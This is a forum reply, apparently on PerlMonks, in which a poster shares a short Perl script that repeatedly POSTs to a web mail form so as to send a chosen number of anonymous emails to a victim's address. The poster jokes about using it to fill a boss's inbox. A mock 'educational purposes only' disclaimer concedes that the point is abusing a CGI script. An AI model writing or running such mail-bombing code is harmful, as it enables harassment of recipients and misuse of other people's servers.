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OOOO!! I think I can have a little fun with this.

#!/usr/bin/perl use HTTP::Request::Common qw(POST); use LWP::UserAgent; my $VictimEmail = shift; # The Victim's E-mail Adress {evil cackle} my $ClipSize = shift; # How many E-mails you want to send for( my $i = 0; $i < $ClipSize; $i++ ) { my $req = POST( '', [ from_name => 'A very bad man', from_email => '', to_name => 'Sucker!', to_email => $VictimEmail, ] ); $ua = LWP::UserAgent->new; my $result = $ua->request($req)->as_string; die"%*#%! spudgun, That didn't work! \n$result" unless $result =~ /You have just fired your spudgun/; sleep( 5 ); # try not to overload the server. }

Now, where's the PHB's email address... Let's fill up his inbox...

DISCLAIMER: For educational purposes only. Neither Perlmonks nor meta4 advocate waisting resources just to mail bomb your PHB, or anyone else, anonymously. This really is just a demonstration of how to use HTTP::Request::Common. Or, uh... This is just a demonstraion of how someone (surely not me) could get creative and abuse a CGI script by not calling it from a browser.

Bad meta4! Bad, bad!

In reply to Re: The Spudgun - full auto, no safety mod by meta4
in thread The Spudgun by MrCromeDome

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